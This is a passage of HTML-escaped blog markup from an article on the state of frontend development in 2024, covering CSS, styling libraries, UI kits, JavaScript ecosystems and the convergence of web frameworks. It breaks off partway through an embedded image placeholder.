mobile.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/pointer&quot;&gt;@media (pointer)&lt;/a&gt; - Per decidere come rispondere alla precisione del puntatore&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/hover&quot;&gt;@media (hover)&lt;/a&gt; - Per conoscere se il dispositivo permette l&amp;#x27;hover.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;And the accessibility-related innovations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion&quot;&gt;prefers-reduced-motion&lt;/a&gt; - Per ridurre o togliere le animazioni di movimento.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-contrast&quot;&gt;prefers-contrast&lt;/a&gt; - Per disegnare contenuto ad alto o basso contrasto in base all&amp;#x27;utente.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In conclusion, in 2024, it is of crucial importance to delve deep into CSS or, if you are just embarking on the frontend development journey, to learn it comprehensively. &amp;quot;Vanilla&amp;quot; CSS is an essential tool that should be in the toolkit of every frontend developer, serving as a fundamental ally for crafting high-standard web products.&lt;/p&gt;&lt;h2 id=&quot;libraries-ui-kits--design-systems-no-longer-if-but-which&quot;&gt;Libraries, UI Kits &amp;amp; Design Systems, No longer &amp;quot;if,&amp;quot; but &amp;quot;which.&amp;quot;&lt;/h2&gt;&lt;p&gt;Despite the growing power of CSS, the idea of creating a project without using a library, UI kit, or design system is now unthinkable. Manually writing the style for an entire application seems like an almost insurmountable challenge and, above all, unnecessary, given the wide range of libraries, often open source, created specifically to meet various needs. To understand why these libraries have become a staple, we must take a step back in time.&lt;/p&gt;&lt;p&gt;In 2010, the first JavaScript frameworks began to emerge. AngularJS&amp;#x27;s winning strategy lies in recognizing that those who write HTML are also the ones writing JavaScript. Meanwhile, the Facebook team (now Meta) realized that encouraging reusability is the key, giving birth to components. The trio of HTML, JavaScript, and CSS started to merge into a single entity, and React was born, uniting the first two.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4b5a778397dfaff9d71ec7a23e3906f3/1cfc2/react-birth.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M199%2072a718%20718%200%20002%200%20718%20718%200%2000-2%200M26%20106l83%201a1303%201303%200%20000-2l-83%201m225%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4b5a778397dfaff9d71ec7a23e3906f3/c85cb/react-birth.webp 300w,/static/4b5a778397dfaff9d71ec7a23e3906f3/e88ff/react-birth.webp 600w,/static/4b5a778397dfaff9d71ec7a23e3906f3/131f1/react-birth.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4b5a778397dfaff9d71ec7a23e3906f3/5a46d/react-birth.png 300w,/static/4b5a778397dfaff9d71ec7a23e3906f3/0a47e/react-birth.png 600w,/static/4b5a778397dfaff9d71ec7a23e3906f3/1cfc2/react-birth.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 1 - React&amp;#x27;s birth&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4b5a778397dfaff9d71ec7a23e3906f3/1cfc2/react-birth.png&quot; title=&quot;Image 1 - React&amp;#x27;s birth&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 1 - React&amp;#x27;s birth&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;It quickly becomes evident that maintaining CSS separately from components is futile, giving rise to Styled Components. However, despite their initial success, it is realized that if you need to create the component (in this example, DropdownItem) anyway, you might as well define the CSS contextually. This leads to a sort of false &amp;quot;separation of concerns&amp;quot;: purely UI-oriented components are written alongside logic components that are located on the same page. The CSS-in-JS approach proves to be a failure.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/1cfc2/styled-components.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M304%208c-2%202%205%204%2013%203h4l3-1h14V9c0-2-32-2-34-1M199%2072a672%20672%200%20002%200%20672%20672%200%2000-2%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/c85cb/styled-components.webp 300w,/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/e88ff/styled-components.webp 600w,/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/131f1/styled-components.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/5a46d/styled-components.png 300w,/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/0a47e/styled-components.png 600w,/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/1cfc2/styled-components.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 2 - Styled Components&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ea8e3b1dd2340fb7d1c7c8dbbeb143a6/1cfc2/styled-components.png&quot; title=&quot;Image 2 - Styled Components&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 2 - Styled Components&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Fast forward to today, where thousands of libraries simplify the lives of developers. The paradigm is shifting: the problem is no longer where to place the CSS but the language itself. Enter Tailwind, which revolutionizes how components are styled. There is no longer a need for a separate stylesheet to hold classes; predefined classes provided by the library itself can be used directly in the HTML. This has led to a sort of &amp;quot;merge of concerns,&amp;quot; where style and scripting are incorporated directly into the DOM. Although it may seem heretical to an experienced CSS developer, the situation is clear: it&amp;#x27;s no longer libraries conforming to best practices, but rather the other way around.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6e5d4ba3a5ea04010f63a5649af63e53/1cfc2/tailwind.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M199%2072a672%20672%200%20002%200%20672%20672%200%2000-2%200M31%20107l80%201a1264%201264%200%20000-2c-54%200-81%200-80%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6e5d4ba3a5ea04010f63a5649af63e53/c85cb/tailwind.webp 300w,/static/6e5d4ba3a5ea04010f63a5649af63e53/e88ff/tailwind.webp 600w,/static/6e5d4ba3a5ea04010f63a5649af63e53/131f1/tailwind.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6e5d4ba3a5ea04010f63a5649af63e53/5a46d/tailwind.png 300w,/static/6e5d4ba3a5ea04010f63a5649af63e53/0a47e/tailwind.png 600w,/static/6e5d4ba3a5ea04010f63a5649af63e53/1cfc2/tailwind.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 3 - Tailwind&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6e5d4ba3a5ea04010f63a5649af63e53/1cfc2/tailwind.png&quot; title=&quot;Image 3 - Tailwind&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 3 - Tailwind&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Often, developers fully integrate and utilize libraries, but they rarely manage to reconcile them with the need for accessibility and user experience. To bridge this gap, Headless/Unstyled libraries have been created, offering only the component behavior, which is the logic required to ensure a high-quality user experience and all the accessibility features. This allows programmers to focus solely on style and integration within the application, while still ensuring an excellent level of accessibility and user experience.
&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/fb87e8192199896da322e25840157a65/1cfc2/headless.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M199%2071a639%20639%200%20002%200%20639%20639%200%2000-2%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/fb87e8192199896da322e25840157a65/c85cb/headless.webp 300w,/static/fb87e8192199896da322e25840157a65/e88ff/headless.webp 600w,/static/fb87e8192199896da322e25840157a65/131f1/headless.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/fb87e8192199896da322e25840157a65/5a46d/headless.png 300w,/static/fb87e8192199896da322e25840157a65/0a47e/headless.png 600w,/static/fb87e8192199896da322e25840157a65/1cfc2/headless.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 4 - Headless Libraries &quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/fb87e8192199896da322e25840157a65/1cfc2/headless.png&quot; title=&quot;Image 4 - Headless Libraries &quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 4 - Headless Libraries &lt;/figcaption&gt;
  &lt;/figure&gt; &lt;/p&gt;&lt;p&gt;Below is a list of the most well-known and valuable resources by category:&lt;/p&gt;&lt;p&gt;Utility Libraries&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://tailwindcss.com&quot;&gt;Tailwind (CSS)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;CSS-in-JS&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://styled-components.com/docs&quot;&gt;Styled Components (React)&lt;/a&gt;, &lt;a href=&quot;https://emotion.sh/docs/introduction&quot;&gt;Emotion (React)&lt;/a&gt;, &lt;a href=&quot;https://github.com/styled-system/styled-system&quot;&gt;Styled System (React)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Headless/unstyled UI Libraries&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://mui.com/base-ui/getting-started&quot;&gt;MUI Base UI (React)&lt;/a&gt;, &lt;a href=&quot;https://ariakit.org/&quot;&gt;Ariakit (by Vercel; React)&lt;/a&gt;, &lt;a href=&quot;https://headlessui.com&quot;&gt;Headless UI (by Tailwind Labs; React, Vue)&lt;/a&gt;, &lt;a href=&quot;https://github.com/radix-ui/primitives&quot;&gt;Radix Primitives (ex Radix UI, by WorkOS; React)&lt;/a&gt;, &lt;a href=&quot;https://tanstack.com&quot;&gt;TanStack Query, TanStack Table, TanStack Virtual (React, cross)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;UI Kits&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://getbootstrap.com/&quot;&gt;Bootstrap (CSS, Vanilla)&lt;/a&gt;, &lt;a href=&quot;https://ng-bootstrap.github.io&quot;&gt;ng-bootstrap (Angular)&lt;/a&gt;, &lt;a href=&quot;https://react-bootstrap.github.io&quot;&gt;React Bootstrap (React)&lt;/a&gt;, &lt;a href=&quot;https://reactstrap.github.io&quot;&gt;Reactstrap (React)&lt;/a&gt;, &lt;a href=&quot;https://liferay.design/lexicon&quot;&gt;Lexicon (by Liferay)&lt;/a&gt;, &lt;a href=&quot;https://clayui.com&quot;&gt;Clay UI (by Liferay, official; CSS, React)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://m3.material.io&quot;&gt;Material Design (by Google)&lt;/a&gt; :
&lt;a href=&quot;https://materializecss.com&quot;&gt;Materialize CSS (Vanilla)&lt;/a&gt;, &lt;a href=&quot;https://mui.com/material-ui/getting-started&quot;&gt;MUI Material UI (React)&lt;/a&gt;, &lt;a href=&quot;https://github.com/material-components/material-web#readme&quot;&gt;Material Web (by Google, official; Web Components, CSS)&lt;/a&gt;, &lt;a href=&quot;https://material.angular.io&quot;&gt;Angular Material (Angular)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://ionicframework.com&quot;&gt;Ionic Framework (by Ionic; React, Angular, Vue, Web Components)&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Ecosystem-agnostic component infrastructure:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.builder.io&quot;&gt;Builder.io (PAAS)&lt;/a&gt;, &lt;a href=&quot;https://github.com/BuilderIO/mitosis&quot;&gt;Mitosis by Builder.io&lt;/a&gt;, &lt;a href=&quot;https://bit.dev&quot;&gt;Bit&lt;/a&gt;, &lt;a href=&quot;https://stenciljs.com&quot;&gt;Stencil.js by Ionic&lt;/a&gt;, &lt;a href=&quot;https://open-ui.org&quot;&gt;Open-UI by Microsoft&lt;/a&gt;&lt;/p&gt;&lt;h2 id=&quot;front-end-ecosystems-the-only-effective-solution&quot;&gt;Front-end ecosystems: The only effective solution?&lt;/h2&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/55566a11e1f2f755d5dbda6cf08ab716/29114/ecosystems.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M80%2026l-1%2025%201%2024h23l25-1%201-24c0-22%200-23-2-24H80m101%200c-2%202-1%2046%201%2048%202%203%2045%203%2047%200%202-1%203-44%201-47-1-2-2-2-24-2l-25%201m96%201v25l1%2023h23l25-1c1-1%202-43%200-46%200-3-48-3-49-1M92%2036v5c0%202%200%203-3%204-6%203-7%207%200%2011%203%201%203%202%202%204%200%204%202%208%205%208l5-2%203-2%203%202c5%204%209%201%209-5%200-3%200-4%203-6%205-2%205-6%201-9l-3-2-1-3c1-7-4-10-10-6-2%202-2%202-5%200-4-3-8-3-9%201m193%201l17%2028%2017-29-7-1c-6%200-7%200-8%203l-2%203-2-3c-2-3-2-3-9-3-5%200-6%200-6%202m-87%201c-7%203-7%203-6%2015l1%206%206%203%207%203%206-3%206-3%201-7c2-12%202-11-5-13-9-3-9-3-16-1m3%209l-4%2010c0%201%203%200%204-2%200-2%201-2%205-2%203%200%204%200%205%202%200%202%203%203%203%201l-4-9-5-8-4%208m-101-1c-3%203-3%204-2%207%203%204%209%204%2011%200%203-6-5-12-9-7M73%2080l-1%2013%201%2011h62V80l-31-1-31%201m91%200c-1%201-2%2019%200%2022%200%202%205%202%2042%202h41V80l-41-1-42%201m107%200l-1%2013%201%2011h62V80l-31-1-31%201m-79%2010c-3%203-1%209%203%209l2%201-14%201h-14l13%201h37l24-1h-44v-6c0-4%200-6-1-5l-1%204c0%204-4%206-5%201%200-2%200-3%202-4l1-2-3%201M79%20123l-1%2024c0%2020%200%2022%202%2023%202%202%2044%203%2047%201%202-1%202-2%202-24l-1-25-25-1c-22%200-23%200-24%202m102-1l-1%2025c0%2022%200%2023%202%2024%203%202%2046%201%2047-1%202-2%203-46%201-48s-47-2-49%200m97%200c-2%202-1%2047%200%2049%202%201%2046%202%2048%200s2-47%200-49c-2-1-48-2-48%200m-173%207c-4%201-14%208-15%2010v19c3%207%2010%208%2019%202%208-4%209-6%209-13v-9c0-6-7-11-13-9m94%205c-3%203-3%203%203%204%205%200%2011%201%2016%205l2-3%202-3-6-3c-8-4-14-4-17%200m-99%203c-4%203-6%204-6%206%200%206%205%209%2011%205%204-2%207%200%203%203-6%205-9%205-11%203-3-3-4-3-4%200s3%206%206%206%2012-5%2014-8c4-6-4-12-11-7h-3c-2-1-1-3%205-6l4-2%203%202%203%202v-2c1-6-6-8-14-2m-33%2039v13l1%2011h35l37-1v-23c-2-2-72-2-73%200m97%200c-1%201-2%2019%200%2022%200%202%205%202%2042%202h41v-24l-41-1-42%201m113%200l-1%2012v12h52v-24l-26-1-25%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/55566a11e1f2f755d5dbda6cf08ab716/c85cb/ecosystems.webp 300w,/static/55566a11e1f2f755d5dbda6cf08ab716/e88ff/ecosystems.webp 600w,/static/55566a11e1f2f755d5dbda6cf08ab716/92f8c/ecosystems.webp 1200w,/static/55566a11e1f2f755d5dbda6cf08ab716/62ed8/ecosystems.webp 1800w,/static/55566a11e1f2f755d5dbda6cf08ab716/882b9/ecosystems.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/55566a11e1f2f755d5dbda6cf08ab716/5a46d/ecosystems.png 300w,/static/55566a11e1f2f755d5dbda6cf08ab716/0a47e/ecosystems.png 600w,/static/55566a11e1f2f755d5dbda6cf08ab716/c1b63/ecosystems.png 1200w,/static/55566a11e1f2f755d5dbda6cf08ab716/d61c2/ecosystems.png 1800w,/static/55566a11e1f2f755d5dbda6cf08ab716/29114/ecosystems.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 5 - Most famous Ecosystems  &quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/55566a11e1f2f755d5dbda6cf08ab716/c1b63/ecosystems.png&quot; title=&quot;Image 5 - Most famous Ecosystems  &quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 5 - Most famous Ecosystems  &lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;The cornerstone of modern frontend development revolves around adopting an ecosystem as a solid foundation for any project. By a frontend ecosystem, we mean one of the major JavaScript frameworks like React, Angular, Solid, and all the associated resources, including documentation, tutorials, and community.&lt;/p&gt;&lt;p&gt;The adoption of an ecosystem is indispensable in every project due to its unique characteristics that significantly simplify the lives of developers. Firstly, ecosystems provide all the necessary tools for creating an application within a single environment, enabling the integration of necessary features through compatible libraries. Another advantage is the automatic implementation of security and standards compliance in the project, which remains up-to-date as long as you stay in sync with the latest versions.&lt;/p&gt;&lt;p&gt;An additional benefit is the ability to write code that produces cross-browser executables, freeing developers from many of the challenges and compatibility issues associated with different browsers. Lastly, access to vast communities is yet another strength. In case issues arise, one can simply search online for solutions, and if a problem hasn&amp;#x27;t been tackled by someone else, questions can be posed on dedicated forums, making use of the collective experience of other developers.&lt;/p&gt;&lt;h2 id=&quot;web-frameworks-convergenza-e-dx&quot;&gt;Web Frameworks Convergenza e DX&lt;/h2&gt;&lt;p&gt;In addition to the adoption of a frontend ecosystem, the use of a web framework provides developers with the ability to introduce layers of complexity into their application without excessive effort while maintaining an ergonomic project.&lt;/p&gt;&lt;p&gt;Specifically, the integration of a web framework facilitates client-side or server-side rendering without the need to start from scratch in creating the logic. These frameworks offer functions and hooks for data retrieval that can be easily integrated into the code. Moreover, they simplify the management of application routing by providing ready-made functions and code. Additionally, frameworks streamline the integration of libraries and user interface kits (UI kits) and offer a simplified build and configuration process (an evident example being the almost deprecation of create-react-app).&lt;/p&gt;&lt;p&gt;In this landscape, a marked convergence is observed. Although each framework was originally conceived to address specific needs, it has become clear that what one framework solved was missing in another. Consequently, today all major frameworks have aligned their functionalities, incorporating almost the same essential features, as highlighted in the following list.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/01ea6f9c1e2c17202f8dc70ff5fb40fa/29114/web-frameworks-features.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M138%2029v7l1%206h39V28h-20l-20%201m87%206v7h40V28h-40v7M91%2030v6l1%205h13c16%200%2016%200%2016-6s0-6-15-6l-15%201m32%200l-1%205v5h10l1-5v-5l-5-1-5%201m16%2016l-1%207%201%207h39V46h-39m43%200v14h40v-6l-1-7c-1-1-38-2-39-1m43%201v7l1%206h39v-7l-1-7c-15-1-38%200-39%201m54-1l-1%207%201%207h39V46h-39M95%2052c0%207%200%207%2013%207%2012%200%2013-1%2013-6%200-6%200-6-14-6H95v5m28-4l-1%205v5h11V48l-5-1-5%201m15%2016v8l1%206h39V64l-20-1-20%201m44%206l1%208h18c21%200%2021%200%2021-7%200-8%201-8-21-8h-19v7m43-6v8l1%206h39V64l-20-1-20%201M94%2070l1%206h12c14%200%2015%200%2014-8v-2l-14-1H94v5m28%200l1%206h10V65h-11v5m-65-2l-1%204v3h27v-5h-2l-1-1v5c-1%200-2-1-1-2%200-2%200-2-1%200h-2l1-2-1-2c-1-1-1%200-1%203s0%203-1%201c0-4-4-4-3%200l-1%202-2-3-1-2v3l-1%202-1-2c0-2-3-4-4-2h-2v2l-1%201c-2-1-1-4%201-4v-1h-2m81%2014v7l1%206h39V81h-20l-20%201m44%206v7h40V82l-20-1h-20v7m-84-5v6l1%205h10l11-1V83c-2-2-21-1-22%200m24%205l1%206h10V83h-11v5m-80%201v4h23c22%200%2023%200%2023-2l-1-2v-1c1-1%201-1-1-1s-2%200-2%203v2l-1-3c0-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201%201%203%200%203-2%203-3%200-4%200-3-3%200-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201v3l-1-2c0-2-1-3-2-3l-2%201-1%201c-2%200-2%200-1%201l-1%201h-1v1c-1%200-2-1-1-3%200-1%200-2-1-1l-1%202-1-2c-1-1-1%200-1%201%201%202%200%203-1%203v-1l-1-1-3-2-3-1c-1%201-2%200-2-1-2-3-4-1-4%203m96%2017l1%207h39V99h-40v7m87%200v7h40V99h-40v7m-115-5l-1%205v5h11v-10l-5-1-5%201m13%200l-1%205v5h11v-10l-5-1-5%201m15%2016v8l1%206h39v-14l-20-1-20%201m45%200l-1%207v7h19c22%200%2021%200%2021-7%200-8%201-8-20-8l-19%201m-61%202v6l1%204h10v-11h-5l-6%201m-47%205v3l14%201c13%200%2014%200%2013-2-2%200-2-1-1-1l1-1h-1l-1-1v-1l-1%203-2%202c-2%200-3-2-1-4v-1c-1%200-2%201-2%203l-2%202c-2%200-3-2%200-2%202-1%201-4-1-4s-2%201-2%203%200%203-2%202v-1l1-1h-1l-1-1h-3l-1%201c-1%202-1%202-1%200%200-1%200-2-1-1l-1-1h-2l-1%201-1-2v3m64%2011l-1%207v6h40v-14h-19l-20%201m43%206v7h40v-13l-20-1h-20v7m43%200v7h40v-13l-20-1h-20v7m-103%200l1%206h10v-11h-11v5m16%2012v7l1%206h39v-14h-20l-20%201m44%206v7h40v-13l-20-1h-20v7m43%200v7h40v-14h-40v7m-103-5v6l1%205h10v-11l-5-1-6%201m17%2016l-1%207%201%207h39v-14l-19-1-20%201m44%200l-1%207v7h19c17%200%2020%200%2020-2v-12c-1-1-37-2-38%200m42%200v8l1%206h39v-7l-1-7c-3-2-38-1-39%200m-86%2018l-1%207c0%207-1%207%2022%207h18v-14l-20-1-19%201m43%206l1%208h18c21%200%2021%200%2021-7%200-8%201-8-21-8h-19v7m-94%201l-1%204h19c11%200%2019%200%2018-1v-5l-1%201h-1c-2-1-2-1-1%202%201%202%201%202-1%202-1%200-2-1-2-3l-1-2v3l-1%202-1-2c0-4-4-4-4%200l-1%203v-3c0-2%200-3